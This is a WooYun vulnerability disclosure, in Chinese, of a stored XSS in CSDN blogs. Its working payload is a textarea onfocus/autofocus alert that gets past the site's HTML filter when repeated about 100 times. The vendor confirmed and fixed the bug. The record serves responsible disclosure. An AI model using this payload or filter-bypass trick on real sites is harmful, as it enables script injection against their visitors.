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缺陷编号:wooyun-2013-036870

漏洞标题:csdn个人博客存储型xss(过滤器的另类绕过)

相关厂商:CSDN开发者社区

漏洞作者: mramydnei

提交时间:2013-09-12 13:38

修复时间:2013-10-27 13:38

公开时间:2013-10-27 13:38

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2013-09-12: 细节已通知厂商并且等待厂商处理中
2013-09-12: 厂商已经确认,细节仅向厂商公开
2013-09-22: 细节向核心白帽子及相关领域专家公开
2013-10-02: 细节向普通白帽子公开
2013-10-12: 细节向实习白帽子公开
2013-10-27: 细节向公众公开

简要描述:

这个不能说是过滤不严格了,也许你们需要新的测试方式了。
另外,想问一下xsser以及各位管理员,审核员同学。我们想申请个团队 叫屌丝酒吧。希望帮忙处理一下。thx!

详细说明:

我们做个简单的测试吧。
比如说,我们通过html代码插入功能,来插入这样的一个payload:

<textarea onfocus=javascript:alert(41) autofocus>


保存之后,它大概就会变成这样:

<textarea></textare>


看上去很厉害的样子吧。那让我们再来做一个有趣的测试(我们应该管这个叫什么呢?xss压力测试? 开个玩笑! 我也是无意间发现的)
让我们试着将一个payload复制成100个payload同时插入,并保存:

<textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus><textarea onfocus=javascript:alert(41) autofocus>


发布之后,alert(1)再一次弹起。 我只能说 我和我的小伙伴们都惊呆了!

漏洞证明:

csdn1.jpg


csdn2.jpg

修复方案:

屌丝程序员也是需要隐私的。所以。。。 请 亲爱的相关人员,修复一下吧!

版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-09-12 16:26

厂商回复:

确认漏洞。

最新状态:

2013-09-12:修复漏洞


漏洞评价:

评论

  1. 2014-06-21 13:58 | Manning ( 普通白帽子 | Rank:559 漏洞数:78 | 就恨自己服务器太少)

    原来是这样过滤的啊!!!!